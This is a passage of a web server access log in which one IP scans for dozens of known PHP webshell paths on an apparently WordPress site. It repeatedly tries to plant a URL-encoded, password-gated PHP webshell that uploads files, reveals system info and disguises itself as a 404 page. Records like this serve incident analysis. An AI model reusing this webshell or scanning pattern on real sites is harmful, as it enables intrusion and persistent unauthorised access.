';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:34 +0530] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:34 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:35 +0530] "GET /if.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:35 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:37 +0530] "GET /wp-content/vuln.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:38 +0530] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:43 +0530] "GET /gif.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:43 +0530] "GET /mi.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:45 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:46 +0530] "GET /wp-includes/991176.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:47 +0530] "GET /radio.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:48 +0530] "GET /wso1337.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:49 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:49 +0530] "GET /mt/pekok.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:49 +0530] "GET /wp-admin/alfa.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:53 +0530] "GET /images/tahe.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:53 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:55 +0530] "GET /wp-includes/images/wlw/lfx.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:56 +0530] "GET /xox.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:58 +0530] "GET /images/f.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:01 +0530] "GET /wp-beckup.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:03 +0530] "GET /wp-includes/customize/class-wp-customize-nav-menu.php?new HTTP/1.1" 302 277 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:04 +0530] "GET /k.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:06 +0530] "GET /wp-includes/pomo/ENKI.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:06 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:06 +0530] "GET /wp-admin/maint/about.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:08 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:09 +0530] "GET /13.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:09 +0530] "GET /blog.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:09 +0530] "GET /images/fx.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:09 +0530] "GET /symlink.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:09 +0530] "GET /wp/rahma.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:09 +0530] "GET /blog/fw.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:10 +0530] "GET /wp-content/fx.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:11 +0530] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:11 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:12 +0530] "GET /22.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - 